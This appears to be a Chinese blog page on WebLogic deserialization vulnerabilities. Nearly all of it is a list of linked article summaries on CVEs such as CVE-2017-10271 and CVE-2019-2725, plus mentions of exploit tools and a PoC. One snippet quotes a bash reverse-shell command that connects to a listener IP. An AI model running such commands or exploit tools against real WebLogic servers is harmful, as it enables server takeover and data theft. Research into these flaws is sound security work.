张小白的渗透之路-Weblogic反序列话详解

最新推荐文章于 2025-05-13 16:38:40 发布
原创 最新推荐文章于 2025-05-13 16:38:40 发布 · 418 阅读 · 0 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
文章标签：

#weblogic #反序列化 #xmldeocede #java反序列化 #渗透测试

博客围绕WebLogic相关的反序列化问题展开，涉及xmldeocede和Java反序列化，还提及渗透测试相关内容，这些信息技术领域的关键信息对于了解WebLogic安全问题有重要意义。

Weblogic反序列化漏洞原理分析及漏洞复现(CVE-2018-2628/CVE-2023-21839复现)
网络空间安全学习
09-19 1万+
WebLogic 存在远程代码执行漏洞（CVE-2023-21839/CNVD-2023-04389），由于Weblogic IIOP/T3协议存在缺陷，当IIOP/T3协议开启时，允许未经身份验证的攻击者通过IIOP/T3协议网络访问攻击存在安全风险的WebLogic Server，漏洞利用成功WebLogic Server可能被攻击者接管执行任意命令导致服务器沦陷或者造成严重的敏感数据泄露。远程方法调用，除了该对象本身的虚拟机，其它的虚拟机也可以调用该对象的方法。
weblogic反序列化_从Weblogic原理上探究CVE20154852、CVE20160638、CVE20163510究竟怎么一回事...
weixin_39612653的博客
11-29 1441
更多全球网络安全资讯尽在邑安全目前。网上关于CVE-2015-4852漏洞的资料很多，但是针对CVE-2015-4852漏洞如何修复，修复补丁又是如何生效的却少之又少；而CVE-2016-0638、CVE-2016-3510这两个漏洞又是如何绕过CVE-2015-4852补丁的，则只是在介绍Weblogic系列漏洞时被一句话带过。CVE-2015-4852、CVE-2016-0638以及...
反序列化漏洞原理_Weblogic XMLDecoder 反序列化漏洞
weixin_39997194的博客
12-11 741
这次来研究一下weblogic一些反序列化漏洞.主要是: CVE-2017-3506 ,CVE-2017-10271 CVE-2019-2725这三个CVE,就是一个不停绕过的过程.从CVE-2017-3506开始发现,官方设置黑名单,安全研究者绕过了两次.感觉可能会有第三次. 漏洞测试环境参考:Weblogic < 10.3.6 'wls-wsat' XMLDecoder 反序列化漏洞（...
反序列化漏洞原理_Weblogic 反序列化漏洞预警及解决方案
weixin_39788382的博客
12-14 2906
漏洞情况分析WebLogic Server 是美国甲骨文(Oracle)公司开发的一款适用于云环境和传统环境的应用服务中间件，它提供了一个现代轻型开发平台，支持应用从开发到生产的整个生命周期管理，并简化了应用的部署和管理。wls9-async 组件为 WebLogic Server 提供异步通讯服务，默认应用于 WebLogic 部分版本。由于该 WAR 包在反序列化处理输入信息时存在缺...
weblogic反序列化基本概念
sojrs_sec的博客
12-03 4816
如图，weblogic反序列化在利用过程中，主要考虑四个部分 Deliver_way ：payload通过什么方式传入服务器 Payload：payload是什么格式，xml本身即为序列化对象，可直接反序列化。ysoserial生成的payload，为序列化文件 Write object()：若非序列化数据，则首先经过writeobject()进行序列化 Readobject()：反序列化数据...
精选资源
weblogic反序列化全版本漏洞利用工具
06-27
weblogic反序列化全版本漏洞利用工具，可执行命令
Weblogic 反序列化远程命令执行漏洞 CVE-2019-2725 详解
最新发布
m0_67544876的博客
05-13 1545
CVE-2019-2725 漏洞作为 WebLogic 的一个严重安全隐患，给企业的网络安全带来了巨大威胁。了解该漏洞的原理、危害、检测及修复方法，对于保障 WebLogic 服务器的安全至关重要。在日常运维过程中，企业应密切关注安全漏洞信息，及时采取有效的防护措施，定期对服务器进行安全检测和漏洞扫描，确保系统的安全性和稳定性，防止因类似漏洞被攻击者利用而造成不可挽回的损失。
Weblogic反序列化远程代码执行漏洞(CVE-2018-2893)以及安装步骤
11-23
Weblogic反序列化远程代码执行漏洞（CVE-2018-2893）是Oracle WebLogic Server中一个严重安全问题，它允许攻击者通过发送恶意构造的序列化对象来执行任意代码，从而获得对服务器的完全控制。这个漏洞存在于WebLogic ...
weblogic 反序列化（CVE-2020-2883）
qq_52579508的博客
08-31 1037
描述: Oracle Fusion Middleware（Oracle融合中间件）是美国甲骨文（Oracle）公司的一套面向企业和云环境的业务创新平台。“bash -i >& /dev/tcp/172.18.52.33/11111 0>&1” 这一段是需要进行编译的。前面是的 nc 监听 一直出问题 我的 监听ip 出错了 所以一直错 一直监听不到。后面换了windows 使用子系统去运行 poc poc 应该没问题 可能是 监听问题。用的kali 监听 很慢 一直返回不了 shell。
cve-2017-10271-poc.py weblogic反序列化 WLS
01-02
python2.x 最新weblogic反序列化漏洞利用工具 WLS /wls-wsat/CoordinatorPortType
Weblogic反序列化远程代码执行漏洞(CVE-2018-2893)
09-14
20180717官网发布Weblogic反序列化远程代码执行漏洞(CVE-2018-2893)漏洞修复补丁
Weblogic反序列化漏洞原理分析及漏洞复现(CVE-2018-2628CVE-2023-21839复现)
m0_54850303的博客
12-19 1255
WebLogic 存在远程代码执行漏洞（CVE-2023-21839/CNVD-2023-04389），由于Weblogic IIOP/T3协议存在缺陷，当IIOP/T3协议开启时，允许未经身份验证的攻击者通过IIOP/T3协议网络访问攻击存在安全风险的WebLogic Server，漏洞利用成功WebLogic Server可能被攻击者接管执行任意命令导致服务器沦陷或者造成严重的敏感数据泄露。远程方法调用，除了该对象本身的虚拟机，其它的虚拟机也可以调用该对象的方法。
weblogic反序列化漏洞的初级理解(一)
Redredredfish的博客
08-27 5447
啥是weblogic Weblogic反序列化漏洞经过了几个阶段,利用技术也有多种变形 从利用方式来看,分为三类 1.直接通过T3协议发送恶意反序列化对象(CVE-2015-4582、CVE-2016-0638、CVE-2016-3510、CVE-2020-2555、CVE-2020-2883) 2.利用T3协议配合RMP或ND接口反向发送反序列化数据(CVE2017-3248、CVE2018-2628、CVE2018-2893、CVE2018-3245、CVE-2018-3191、CVE-2020-14
Weblogic 反序列化漏洞（CVE-2017-10271）检测与利用复现
文公子的博客
10-30 2586
Weblogic 反序列化漏洞（CVE-2017-10271）检测与利用复现 版权 Weblogic的WLS Security组件对外提供webservice服务，其中使用了XMLDecoder来解析用户传入的XML数据，在解析的过程中出现反序列化漏洞，导致可执行任意命令。 漏洞环境搭建 可以参考： https://blog.youkuaiyun.com/qq_29647709/article/details/84892582 漏洞检测 检测工具下载 https://pan.baidu.com/s/1bpg3p
weblogic XML反序列化
weixin_48776804的博客
05-10 488
weblogic XML反序列化
Weblogic XMLDecoder 反序列化漏洞原理与漏洞复现（基于vulhub，保姆级的详细教程）
Bossfrank的博客
05-20 3956
本文介绍了Weblogic XMLDecoder反序列化相关的漏洞原理和poc的构造，并以CVE-2017-10271为例在vulhub上进行了复现。有关Weblogic XMLDecoder反序列化漏洞包括CVE-2017-3506、CVE-2017-10271、CVE-2019-2725、CVE-2019-2729等，其漏洞原理相似，本文对此进行了简要介绍。
web反序列化漏洞原理_CVE-2017-3248——WebLogic反序列化初探_零开始网络安全技巧
程序员六七的博客
07-16 916
安全客 - 安全资讯平台
Weblogic-JAVA反序列化（CVE-2018-2628）
qq_43381463的博客
03-28 287
该漏洞通过t3协议触发，可导致未授权的用户在远程服务器执行任意命令。
weblogic反序列化介绍及环境搭建
遇事不决冲冲冲
05-08 4060
weblogic是一个常用的web中间件，它的反序列化漏洞也算是比较经典，而在weblogic里面其实反序列化漏洞大致分为两种，一个是基于T3协议的反序列化漏洞，一个是基于XML的反序列化漏洞，一个原因就是配置环境配了好长时间，这篇就当作专门介绍环境搭建了吧Cve-2017-3506Cve-2017-10271Cve-2019-2729Cve-2019-2725CVE-2015-4852CVE-2016-0638CVE-2016-3510CVE-2017-3248CVE-2018-2628 CVE-20
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值